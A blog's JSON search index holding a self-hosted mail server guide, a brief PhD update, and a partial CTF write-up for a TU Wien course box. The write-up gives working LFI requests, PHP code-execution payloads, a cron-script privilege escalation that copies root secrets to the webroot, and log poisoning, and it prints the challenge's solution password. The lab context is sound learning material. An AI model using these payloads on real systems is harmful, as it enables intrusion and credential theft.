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[{"content":" If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.\nI wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)\nBy the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.\nWhy I bothered Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.\nI also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.\nHow email actually moves Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.\nPostfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).\nWhen you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.\nDovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.\nOpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.\nThen there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.\nOnce you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.\nThe shape of my setup On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.\nNginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.\nPort 25 is for servers; port 587 is for people This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.\nPort 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.\nPort 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.\nI also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.\nWhat an “open relay” is, and why localhost lies to you An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.\nHere’s the trick that wastes afternoons: testing from 127.0.0.1.\nPostfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.\nSo I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.\nKindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”\nDNS, but make it human The forward map (name → number) You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.\nI put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.\nWhy Cloudflare’s orange cloud is not invited Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.\nMail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.\nPTR records: the phonebook in reverse This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.\nNormal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.\nThose reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.\nSo you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.\nYou can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.\nSPF, DKIM, and DMARC: three different questions People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.\nSPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.\nDKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.\nDMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.\nOrder matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.\nTogether they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.\nBuilding the unglamorous core On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.\nThen came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.\nI briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.\nWhen opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.\nThe Matrix certificate heist (that wasn’t a heist) Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.\nNo attacker. No cosmic joke from Let’s Encrypt. Just nginx.\nWhen a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.\nLater I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.\nThe boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.\nFrom Linux users to real mailboxes The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.\nSo I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.\nWhy not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.\nOne setting decides whether this feels cursed or calm: mydestination.\nThat list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.\nPostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”\nOne more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.\nWebmail without losing the plot Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.\nI flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.\nThe calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”\nThe bounce emails that taught me about identity After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.\nThe fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.\nDeletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.\nAnd fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.\nWhat “done” means for me For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.\nWould I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”\nIf this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.\nLinks Portal: mail.alipourimjourneys.ir Webmail: webmail.alipourimjourneys.ir Admin: mailadmin.alipourimjourneys.ir Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSo2Yw//UtI5N8jeF\u0026#43;LTvsVHqDbTVyD\u0026#43;x6qiMgRGT4Kpn86V\u0026#43;6NaVjrs6h\u0026#43;kc5Xy TD9gzCfpwsyfSDBGQ2SHM\u0026#43;bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq HhcRfnS1ICk\u0026#43;hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq 4kgsu5qV7bhB2IyS6nYb\u0026#43;A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O 4BAMhpgk4baTz0\u0026#43;fSjWiKSokQhizXvB6vK21qu2O\u0026#43;5WbkyY/LLi0klLlF2UqhKnU HE3\u0026#43;dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx\u0026#43;Ec6\u0026#43;nHiwtLu O\u0026#43;8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM 0k4KDrEbfIvoowTRRXmNpHV\u0026#43;ttSYanjzTl3oQQZ\u0026#43;Y9H\u0026#43;g\u0026#43;uPrfh8oUvivrj\u0026#43;2ZOn iv9oMoW6Q3rB7V/2\u0026#43;jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20= =KCRU -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc gpg --verify self_hosting_mail.md.asc self_hosting_mail.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/","summary":"\u003cblockquote\u003e\n\u003cp\u003eIf you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do \u003cstrong\u003enot\u003c/strong\u003e assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eI wanted real email on my own machine — \u003ccode\u003email.alipourimjourneys.ir\u003c/code\u003e — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. 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I haven\u0026rsquo;t been writing, once again, because I\u0026rsquo;ve been too busy with fixing my life.\nLet me summerize these past many months:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI finished my coursework for my prep phase\u003c/li\u003e\n\u003cli\u003eI was added to a colleagues project and we submited it to IMC\u003c/li\u003e\n\u003cli\u003eI submitted a poster to TMA, and I will be present it at the end of this month (June)\u003c/li\u003e\n\u003cli\u003eI branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S\u0026amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.\u003c/li\u003e\n\u003cli\u003eI am a tutor at data networks, and I think I\u0026rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cdiv class=\"signature-block\" style=\"margin-top:1rem\"\u003e\n  \u003cp\u003e\u003cstrong\u003eDownloads:\u003c/strong\u003e\n    \u003ca href=\"/sources/PhD_journey/june_2026.md\"\u003eMarkdown\u003c/a\u003e ·\n    \u003ca href=\"/sources/PhD_journey/june_2026.md.asc\"\u003eSignature (.asc)\u003c/a\u003e\n  \u003c/p\u003e","title":"June 2026"},{"content":" Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I\u0026rsquo;ll wait. …No? Ok. Hello friends.\nThis post documents how I solved a CTF box that came out of Tobias Fiebig\u0026rsquo;s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who \u0026ldquo;just quickly fixes prod\u0026rdquo; and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.\nEach student group gets their own host (g00, g01, …). The goal is simple on paper:\nCollect every passwd_part file sitting in user home directories. Stitch them together into the root password (the full answer lives in /root/passwd). Simple. Boring. Except Klaus was clearly in charge of this VM.\n0) The lay of the land Target: g00.tuw.measurement.network\nFrom the outside you mostly see three faces of the same machine:\nHost What it is g00.tuw.measurement.network Main vhost — documentation.md, directory listing, a teasing passwd_part that returns 403 web.g00.tuw.measurement.network PHP \u0026ldquo;meme gallery\u0026rdquo; with a very trusting ?page= parameter pwreset.g00.tuw.measurement.network Internal password-reset app — not reachable directly from the internet Users on the box (from /etc/passwd via LFI): user1–user4, monitoring, www-data, root.\nSSH from outside? Public key only. Password auth is a lie (for us, anyway).\n1) Recon — documentation.md saves the day First stop: the main site.\ncurl -s https://g00.tuw.measurement.network/documentation.md That file is basically a treasure map. It mentions two services:\nweb → web.g00.tuw.measurement.network pwreset → pwreset.g00.tuw.measurement.network I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.\nSubdomains resolve. Good. Let\u0026rsquo;s go web.\n2) LFI — include($_GET['page']) classic The web vhost is a frameset. Content loads in a frame via ?page=:\ncurl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=/etc/passwd\u0026#39; And there it is — root, users, the whole /etc/passwd parade inside the frame.\nSource via PHP filter works too:\ncurl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php\u0026#39; \\ | sed -n \u0026#39;s/.*frame name=\u0026#34;in\u0026#34;\u0026gt;//p\u0026#39; | base64 -d index.php is roughly:\n\u0026lt;?php $page = $_GET[\u0026#39;page\u0026#39;] ?? \u0026#39;home.php\u0026#39;; include($page); ?\u0026gt; Klaus, my man. We love you.\nFirst instinct: read all the passwd_part files immediately.\n# spoiler: doesn\u0026#39;t work curl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part\u0026#39; # → permission denied Same for user2–user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.\n3) pwreset — localhost-only, but LFI doesn\u0026rsquo;t care about nginx Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:\nallow 127.0.0.1; deny all; So you can\u0026rsquo;t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that\u0026rsquo;s a local file include, not an HTTP request.\npwreset source (paraphrased):\n$user = $_GET[\u0026#39;user\u0026#39;] ?? \u0026#39;\u0026#39;; $pass = $_GET[\u0026#39;pass\u0026#39;] ?? \u0026#39;\u0026#39;; file_put_contents(\u0026#39;/var/www/userchange\u0026#39;, \u0026#34;$user:$pass\\n\u0026#34;); echo \u0026#34;Password reset queued.\u0026#34;; It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).\nTrigger it through LFI:\nhttps://web.g00.tuw.measurement.network/ ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php \u0026amp;user=user1 \u0026amp;pass=MyTestPass1! I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.\n4) RCE — PHP in userchange, included like a boss At some point I wondered: what if the thing that processes userchange doesn\u0026rsquo;t only run chpasswd? What if it includes the file as PHP?\nSo I wrote a tiny shell into the user field via pwreset:\n\u0026lt;?=`id`?\u0026gt; Then included /var/www/userchange through the LFI:\n?page=/var/www/userchange Output: uid=33(www-data) gid=33(www-data) ...\nShort tags (\u0026lt;?= ... ?\u0026gt;) for the win. A longer \u0026lt;?php system(...); ?\u0026gt; payload also works, but the backtick version is minimal and cute.\nFrom here on, my mental model was:\npwreset → write arbitrary-ish content to /var/www/userchange LFI include userchange → execute PHP as www-data That\u0026rsquo;s RCE. Not root yet, but we\u0026rsquo;ll get there. Klaus always leaves one more door open.\n5) Rabbit holes (aka \u0026ldquo;everything I tried before it worked\u0026rdquo;) This box is a presentation CTF. It wants you to wander. I wandered. Hard.\nnginx log poisoning The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.\nShort version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.\ndata://, php://input, expect:// ?page=data://text/plain,\u0026lt;?php system($_GET[cmd]); ?\u0026gt; ?page=php://input # with POST body ?page=expect://id Nope. allow_url_include = Off. Klaus isn\u0026rsquo;t that careless.\nvim .swp files .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.\nEmpty memes page. No execution. Nice red herring — very on-theme for the talk.\nMunin / apt_all plugin The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:\n/etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn\u0026rsquo;t exist Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …) Waited for cron cycles hoping a custom plugin would curl localhost pwreset Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.\npwreset log archaeology Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:\nSaw historical resets like user3 → foobar23 Tried foobar23 over SSH for every user From outside: still Permission denied (publickey). Password auth isn\u0026rsquo;t offered externally. TU Wien network / internal access might differ — I didn\u0026rsquo;t have that.\nShell script injection into userchange I tried newline injection to turn userchange into a bash script:\nuser= #!/bin/sh cp /home/user1/passwd_part /var/www/.../p1 ... Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.\nBrute-forcing the userchange consumer I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.\nEventually didn\u0026rsquo;t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren\u0026rsquo;t on the winning path.)\nDirect SSH password guessing Tried setting root\u0026rsquo;s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.\nFrom the internet: publickey only. The reset machinery may still work internally, but I couldn\u0026rsquo;t log in with passwords from outside.\n6) Privesc — world-writable cron script (peak Klaus) With RCE as www-data, I looked for writable files:\nfind / -writable -type f 2\u0026gt;/dev/null | head Jackpot:\n-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh Original script (innocent):\n#!/bin/bash grep 127.0.0.1 /etc/hosts \u0026gt; /home/user1/hostname_config It\u0026rsquo;s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef\u0026rsquo;s kiss.\nI appended:\ncp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1 cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2 cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3 cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4 cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p* Then either waited for cron or executed the script manually via RCE:\n\u0026lt;?=`/usr/local/bin/cron_update_hostname_file.sh`?\u0026gt; Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.\n7) SSH as www-data — because keys in the webroot are a mood The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.\n# via RCE: cat the key, save locally, chmod 600 ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \\ www-data@g00.tuw.measurement.network Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.\n8) The password parts Source File Part user1 p1 DcC6Da0A27384fA user2 p2 9Ce05B3cAd57824 user3 p3 3aD80fa1b7AE986 user4 p4 CDefabffab1FCCf www-data passwd_part 44D885d6DAb8Bb9 root rootpass ghadnuthduxeec7 Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root\u0026rsquo;s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.\nCombined root password (95 characters):\nDcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7 Order: user1 + user2 + user3 + user4 + www-data + root_suffix.\nI double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.\nRoot SSH with that password from outside still didn\u0026rsquo;t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.\n9) Attack chain (one screen) documentation.md → web vhost LFI (include $_GET[\u0026#39;page\u0026#39;]) → include pwreset index.php (localhost bypass) → write PHP to /var/www/userchange → LFI include userchange → RCE as www-data → append to world-writable cron_update_hostname_file.sh → cron runs as root → copies passwd parts to webroot → read parts / SSH as www-data → profit Very \u0026ldquo;real world\u0026rdquo; in the worst way. Multiple small mistakes compounding into a full chain.\n10) Replay script I left a minimal Python replay in the challenge repo:\npython3 solve.py Core logic:\ndef pwreset(user, passwd=\u0026#34;\u0026#34;): # LFI-include pwreset index.php with user/pass params def rce(cmd): pwreset(f\u0026#34;\u0026lt;?=`{cmd}`?\u0026gt;\u0026#34;, \u0026#34;\u0026#34;) return lfi_include(\u0026#34;/var/www/userchange\u0026#34;) It prints id, the modified cron script, each part file, and the combined password.\n11) Bonus: the intended log poisoning path After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂\nSo here\u0026rsquo;s the path you\u0026rsquo;re supposed to take for RCE, and how I accidentally took the scenic bypass.\nThe hint is in index.php, not documentation.md documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):\n\u0026lt;!-- remember for debugging: /var/log/nginx/$vhost.access.log /var/log/nginx/$vhost.error.log /var/log/nginx/ssl-$vhost.access.log /var/log/nginx/ssl-$vhost.error.log --\u0026gt; Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn\u0026rsquo;t say \u0026ldquo;don\u0026rsquo;t use SSL\u0026rdquo; — but the intended trick is to use the non-ssl access log.\nIntended technique Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:\n/var/log/nginx/web.g00.tuw.measurement.network.access.log Put PHP in the User-Agent (or another logged field):\n\u0026lt;?php passthru($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt; Short tags like \u0026lt;?=`id`?\u0026gt; work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.\nInclude that log through the same LFI bug:\nhttps://web.g00.tuw.measurement.network/ 